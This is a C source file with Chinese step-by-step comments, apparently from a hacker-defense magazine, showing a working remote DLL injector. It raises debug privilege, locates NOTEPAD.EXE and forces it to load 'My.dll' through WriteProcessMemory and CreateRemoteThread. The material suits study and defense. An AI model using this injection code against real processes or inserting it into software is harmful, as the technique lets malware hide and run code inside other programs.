远程进程的Dll注入[黑防]

#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
/*
一、OpenProcessToken函数
打开进程令牌环
二、LookupPrivilegeValue函数
获得进程本地唯一ID
三、AdjustTokenPrivileges函数
提升进程的权限
*/
int EnableDebugPriv(const char* name)
{
HANDLE hToken;
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hToken))
{
printf("打开指定令牌环失败!\n");
return -1;
}

LUID luid;

if( !LookupPrivilegeValue(NULL, name, &luid) )
{
printf("查询LUID失败!\n");
return -1;
}

TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if( !AdjustTokenPrivileges(hToken, FALSE, &tp, NULL, NULL, NULL) )
{
printf("提升进程权限失败!\n");
return -1;
}

printf("提升权限成功!\n");
return 0;
}
/*
一、打开远程进程
OpenProcess函数
二、在远程进程的内存中分配空间
VirtualAllocEx函数
三、远程进程的内存的写入
WriteProcessMemory函数
四、找到LoadLibrary函数在Kernel32中的地址
GetProcAddress函数
五、在远程进程中线程（远程线程）
CreateRemoteThread函数
*/
BOOL InjectDll(const char* DllFullPath, const DWORD dwRemoteProcessId)
{
HANDLE hRemoteProcess;
hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,
FALSE, dwRemoteProcessId);
if( hRemoteProcess == NULL )
{
printf("打开远程进程失败!\n");
return FALSE;
}

char *pszLibFileRemote ;

pszLibFileRemote = (char*)VirtualAllocEx(hRemoteProcess, NULL, lstrlen(DllFullPath)+1, MEM_COMMIT, PAGE_READWRITE);
if( pszLibFileRemote == NULL )
{
printf("分配内存失败!\n");
return FALSE;
}

if( !WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (LPVOID)DllFullPath, lstrlen(DllFullPath)+1, NULL) )
{
printf("写入内存失败!\n");
return FALSE;
}

PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");
if( pfnStartAddr == NULL )
{
printf("获取LoadLibrary函数地址失败!\n");
return FALSE;
}

if( CreateRemoteThread(hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL) == NULL)
{
printf("创建远程线程失败!\n");
return FALSE;
}

return TRUE;
}
/*
一、系统进程快照
CreateToolhelp32Snapshot函数
二、在快照中搜索指定进程
Process32First函数
Processe32Next函数
*/
unsigned long getprocid(char *pn)
{
HANDLE hnd;
hnd = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if( hnd == NULL )
{
printf("获取系统快照失败!");
return 0;
}

PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
BOOL b;
b = Process32First(hnd, &pe);
while(b)
{
if( strcmp(pe.szExeFile, pn) == 0 )
return pe.th32ProcessID;
b = Process32Next(hnd, &pe);
}
return 0;
}

int main(int argc, char* argv[])
{

EnableDebugPriv(SE_DEBUG_NAME);//提升本进程的权限至DEBUG模式
InjectDll("My.dll", getprocid("NOTEPAD.EXE"));//注入My.dll到NOTEPAD.EXE程序
return 0;
}